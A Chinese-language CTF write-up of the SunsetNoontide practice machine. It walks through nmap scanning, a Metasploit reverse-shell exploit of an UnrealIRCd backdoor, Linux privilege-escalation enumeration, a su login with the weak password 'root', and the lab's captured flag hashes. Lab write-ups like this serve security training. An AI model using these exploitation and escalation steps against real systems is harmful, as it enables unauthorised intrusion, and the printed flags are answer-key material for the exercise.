OSCP系列靶场-Esay-SunsetNoontide

杳若   ·   发表于 2023-08-01 00:07:04   ·   CTF&WP专版

OSCP系列靶场-Esay-SunsetNoontide

总结

getwebshell : nmap发现UnrealIRCdirc漏洞利用

提 权 思 路 : su弱密码提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.239

  • 启动靶机
    获取目标机器IP → 192.168.172.120

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
  1. sudo nmap --min-rate 10000 -p- 192.168.172.120
  2. PORT STATE SERVICE
  3. 6667/tcp open irc
  4. 6697/tcp open ircs-u
  5. 8067/tcp open infi-async


开放的端口-→6667,6697,8067

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p6667,6697,8067 192.168.172.120
  3. PORT STATE SERVICE VERSION
  4. 6667/tcp open irc UnrealIRCd
  5. 6697/tcp open irc UnrealIRCd
  6. 8067/tcp open irc UnrealIRCd (Admin email example@example.com)

信息收集-端口测试

根据探测的端口进行进一步的测试,这三个端口没有见过nmap探测开放的服务都是irc 版本是UnrealIRCd探测到了邮箱内容 Admin email example@example.com通过搜索可以确定UnrealIRCd是开源,存在漏洞的情况较大

chatgpt学习

粗略的了解一下内容

漏洞利用-getwebshell

漏洞利用-unrealircd

在遇到不知道的情况下可以借助msf帮助

  1. msf6 searchsploit unrealircd


但是我们不确定版本,在没思路的情况下尝试盲打,首先选用msf自带的

  1. msfconsole
  2. msf6 search unrealircd

  1. msf6 use 0
  2. msf6 show options

确定了只需要目标以及端口

  1. msf6 set rhosts 192.168.172.120
  2. msf6 set payload 7

选择反弹shell

  1. msf6 set lhost 192.168.45.239

设置监听host运行得到shell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

  1. # 如果是msf的要先shell
  2. shell

发现shell失败

  1. # 利用python获取交互shell -> python失败使用python3
  2. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. server@noontide:~/irc/Unreal3.2$ find / -name local.txt 2>/dev/null
  2. /home/server/local.txt
  3. server@noontide:~/irc/Unreal3.2$ cat /home/server/local.txt
  4. ed03c20077957b11b1b936f8a70fd0c4

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

  1. # 确定发行版本
  2. server@noontide:~/irc/Unreal3.2$ lsb_release -a
  3. No LSB modules are available.
  4. Distributor ID: Debian
  5. Description: Debian GNU/Linux 10 (buster)
  6. Release: 10
  7. Codename: buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

  1. server@noontide:~/irc/Unreal3.2$ uname -a
  2. Linux noontide 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

  1. server@noontide:~/irc/Unreal3.2$ id
  2. uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # 利用sudo -l寻找
  2. server@noontide:~/irc/Unreal3.2$ sudo -l
  3. bash: sudo: command not found

发现不存在sudo

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

  1. # -perm 文件权限
  2. server@noontide:~/irc/Unreal3.2$ find / -perm -u=s -type f 2>/dev/null
  3. /usr/bin/fusermount
  4. /usr/bin/passwd
  5. /usr/bin/chsh
  6. /usr/bin/umount
  7. /usr/bin/mount
  8. /usr/bin/su
  9. /usr/bin/chfn
  10. /usr/bin/newgrp
  11. /usr/bin/gpasswd
  12. /usr/lib/eject/dmcrypt-get-device
  13. /usr/lib/dbus-1.0/dbus-daemon-launch-helper

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

  1. server@noontide:~/irc/Unreal3.2$ ls -al /etc/passwd
  2. -rw-r--r-- 1 root root 1440 Aug 8 2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
    1. server@noontide:~/irc/Unreal3.2$ ls -al /etc/shadow
    2. -rw-r----- 1 root shadow 950 Dec 3 2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

  1. # 探查有CAP_SETUID标志的进程
  2. server@noontide:~/irc/Unreal3.2$ /usr/sbin/getcap -r / 2>/dev/null
  3. /usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

  1. # 寻找定时任务并修改进行提权
  2. cat /etc/crontab

查看历史信息(无)

可能用户留下的历史信息具有有用的信息

  1. history

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

  1. server@noontide:~/irc/Unreal3.2$ ls -al /home
  2. drwxr-xr-x 3 server server 4096 Dec 3 2020 server
确认当前用户home目录下是否有隐藏文件
  1. # 例如.ssh找密码 ./*_history找历史记录等
  2. ls -al /home/server

找到一个文件


默认编辑器是nano

  1. # Generated by /usr/bin/select-editor SELECTED_EDITOR="/bin/nano"

权限提升

su弱密码提权

  1. server@noontide:~/irc$ su
  2. Password: root
  3. root@noontide:/home/server/irc# id
  4. uid=0(root) gid=0(root) groups=0(root)

FLAG2获取

  1. root@noontide:/home/server/irc# cat /root/proof.txt
  2. b6dd9e1ceb4383125727e3101987689d

完结撒花~

后记

以后提权尝试第一条 su 弱密码,应该在利用sudo发现没有命令的时候尝试一下

了解了一下漏洞原理

  1. cat /usr/share/exploitdb/exploits/linux/remote/13853.pl

大致利用思路 是连接6667端口时直接插入AB;payload
利用;可以绕过进行命令执行,这里下载远程文件并执行

用户名金币积分时间理由
Track-魔方 300.00 0 2023-09-10 21:09:48 深度 100 普适 100 可读 100

打赏我,让我更有动力~

0 条回复   |  直到 9个月前 | 216 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.